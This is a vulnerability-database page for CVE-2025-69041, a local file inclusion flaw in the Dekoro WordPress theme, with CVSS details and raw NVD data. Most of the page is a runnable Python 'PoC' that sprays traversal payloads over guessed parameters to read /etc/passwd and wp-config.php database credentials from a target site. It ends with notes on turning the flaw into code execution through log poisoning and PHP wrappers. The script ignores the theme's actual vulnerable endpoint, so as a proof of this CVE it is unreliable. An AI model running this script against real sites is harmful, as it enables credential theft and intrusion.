Security Vulnerability Report
中文
CVE-2025-69041 CVSS 8.1 HIGH

CVE-2025-69041

Published: 2026-01-22 17:16:17
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in goalthemes Dekoro dekoro allows PHP Local File Inclusion.This issue affects Dekoro: from n/a through <= 1.0.7.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Dekoro <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-69041 PoC - Dekoro Theme Local File Inclusion # Target: WordPress site using Dekoro theme <= 1.0.7 import requests import sys from urllib.parse import urlencode def test_lfi(target_url): """Test for Local File Inclusion vulnerability in Dekoro theme""" # Common LFI parameters used in WordPress themes lfi_params = ['file', 'page', 'template', 'theme', 'dir', 'path', 'view', 'load'] # Files to attempt to read targets = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../../../../etc/passwd', '../../../../etc/passwd', '../../wp-config.php', '../../../wp-config.php', '../../../../wp-config.php', '../../../../../wp-config.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVSS Score: 8.1 (High)") print(f"[*] Vulnerability: Local File Inclusion") print("-" * 60) for param in lfi_params: for target in targets: try: # Construct the malicious URL payload = {param: target} full_url = f"{target_url}?{urlencode(payload)}" response = requests.get(full_url, timeout=10, verify=False) # Check if file content was leaked if 'root:' in response.text or 'www-data:' in response.text: print(f"[+] VULNERABLE! Parameter: {param}") print(f"[+] Payload: {target}") print(f"[+] URL: {full_url}") # Extract and display relevant content if 'root:' in response.text: lines = response.text.split('\n') for line in lines[:5]: if 'root:' in line: print(f"[+] Found: {line}") return True elif 'DB_NAME' in response.text or 'DB_USER' in response.text: print(f"[+] VULNERABLE! Found wp-config.php content!") print(f"[+] URL: {full_url}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {param}={target}: {e}") continue print("[-] No obvious LFI vulnerability detected") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-69041-poc.py <target_url>") print("Example: python cve-2025-69041-poc.py http://target.com/wp-content/themes/dekoro/") sys.exit(1) target = sys.argv[1].rstrip('/') test_lfi(target) # Additional attack vectors for RCE via LFI: # 1. Log Poisoning: Include /var/log/apache2/access.log with PHP payload in User-Agent # 2. Session File: Include /tmp/sess_<session_id> after poisoning session # 3. PHP Wrapper: php://filter/convert.base64-encode/resource=wp-config.php

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69041", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:17.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in goalthemes Dekoro dekoro allows PHP Local File Inclusion.This issue affects Dekoro: from n/a through <= 1.0.7."}, {"lang": "es", "value": "La vulnerabilidad de Control inadecuado del nombre de fichero para la sentencia include/require en un programa PHP ('Inclusión remota de ficheros PHP') en goalthemes Dekoro dekoro permite la inclusión local de ficheros PHP. Este problema afecta a Dekoro: desde n/a hasta &lt;= 1.0.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/dekoro/vulnerability/wordpress-dekoro-theme-1-0-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}